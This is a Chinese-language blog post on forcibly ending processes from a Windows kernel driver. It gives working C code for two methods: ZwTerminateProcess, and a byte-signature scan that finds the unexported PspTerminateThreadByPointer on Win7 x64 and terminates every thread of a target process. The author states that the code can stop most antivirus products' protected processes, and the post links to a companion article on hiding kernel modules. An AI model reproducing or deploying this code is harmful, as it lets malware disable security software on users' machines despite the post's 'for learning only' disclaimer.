驱动级强制结束进程

驱动级监控进程

说明:技术仅供学习使用,如恶意利用,与作者无关!

依然已经走到驱动这一层了,那么通常结束掉一个进程不是什么难的事情。同时因为win64 位的各种保护,导致大家慢慢的已经不敢HOOK了,当然这指的是产品。作为学习和破解的话当然可以尝试各种hook。目前来说很多杀软进程保护都是通过回调了保护的,简单,稳定,安全。So,强制结束进程会比当年简单很多。

首先就是上一个最基本的驱动里结束进程的方法:

方法1

直接调用ZwTerminateProcess去结束进程,这个是公开导出的函数,也就是说它很稳定。不要小看这个东西,我测试过很多杀软。目前停不掉的只有国外的 某伞,可能有人会关心国内的各种卫士能不能停掉!我觉得可以尝试一下,通常不会失望。OK不废话,上代码:

调用过程:(R3)TerminateProcess ->(R0)NtTerminateProcess ->(R0)ZwTerminateProcess

void ZwKillProcess(HANDLE hdPid)
{
__try {
    HANDLE hProcess = NULL;
    CLIENT_ID ClientId = {0};
    OBJECT_ATTRIBUTES oa = {0};
    ClientId.UniqueProcess = (HANDLE)hdPid; 
    ClientId.UniqueThread = 0;
    oa.Length = sizeof(oa);
    oa.RootDirectory = 0;
    oa.ObjectName = 0;
    oa.Attributes = 0;
    oa.SecurityDescriptor = 0;
    oa.SecurityQualityOfService = 0;
    ZwOpenProcess(&hProcess, 1, &oa, &ClientId);
    if (hProcess)
    {
        ZwTerminateProcess(hProcess, 0);
        ZwClose(hProcess);
    };
  }
  __except (EXCEPTION_EXECUTE_HANDLER)
 {;}}

方法2

就是通过PsTerminateSystemThread找到PspTerminateThreadByPointer

下面是Win7 64 双机调试 windbg获取的信息

然后要找到Win7 64位PspTerminateThreadByPointer结构(注意下面的是win7 64每个系统要单独去找):

typedef NTSTATUS (__fastcall *PSPTERMINATETHREADBYPOINTER)
(
IN PETHREAD Thread,
IN NTSTATUS ExitStatus,
IN BOOLEAN DirectTerminate
);

然后就是定位一个特征码,从PsTerminateSystemThread开始往下找,直接把学习资料的代码拿过来吧,作者是定位了01e8也就是两条汇编指令相关的部分。然后自定义了一个计算公式hash这个特征码,代码如下(这个地方不固定,定位的越长,越准确):

if(PspTerminateThreadByPointer==NULL)
{
    AddressOfPsTST=(ULONG64)GetFunctionAddr(L"PsTerminateSystemThread");
    if(AddressOfPsTST==0)
        return STATUS_UNSUCCESSFUL;
    for(i=1;i<0xff;i++)
    {
        if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
        {
        if(*(BYTE*)(AddressOfPsTST+i)==0x01&&*(BYTE*)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
            {
                RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
                AddressOfPspTTBP=(ULONG64)callcode + 5 + AddressOfPsTST+i+1;
            }
        }
    }
PspTerminateThreadByPointer=(PSPTERMINATETHREADBYPOINTER)AddressOfPspTTBP;
    }

找到函数位置之后,剩下的可以直接枚举线程id,找到进程id,通过进程id进行对比之后决定是否结束掉这个线程。

for(i=4;i<0x40000;i+=4)
{
    status=PsLookupThreadByThreadId((HANDLE)i, &Thread);
    if(NT_SUCCESS(status))
    {
    tProcess=IoThreadToProcess(Thread);
    if(tProcess==Process)
    PspTerminateThreadByPointer(Thread,0,1);
    ObDereferenceObject(Thread);
    }
}

结尾

代码已经贴出,没有很多,就不放下载链接了qwq
如遇任何问题,可以加我QQ:2513881812
喜欢的话不妨打赏一下[滑稽]


   转载规则

请联系作者付费转载。
 上一篇
驱动模块隐藏 驱动模块隐藏
X64枚举和隐藏内核模块说明:技术仅供学习使用,如恶意利用,与作者无关!在 WIN64 上枚举内核模块的人方法:使用 ZwQuerySystemInformation 的第 11 号功能和枚举 KLDR_DATA_TABLE_ENTRY 中
2020-03-12
下一篇 
驱动级监控进程 驱动级监控进程
技术讲解说明:技术仅供学习使用,如恶意利用,与作者无关! 有时候我们希望能够动态监视系统中任意进程/线程的创建与销毁。为了达到此目的我翻阅了 DDK 手册,发现其提供的 PsSetCreateProcessNotifyRoutine(),P
2020-03-11
  目录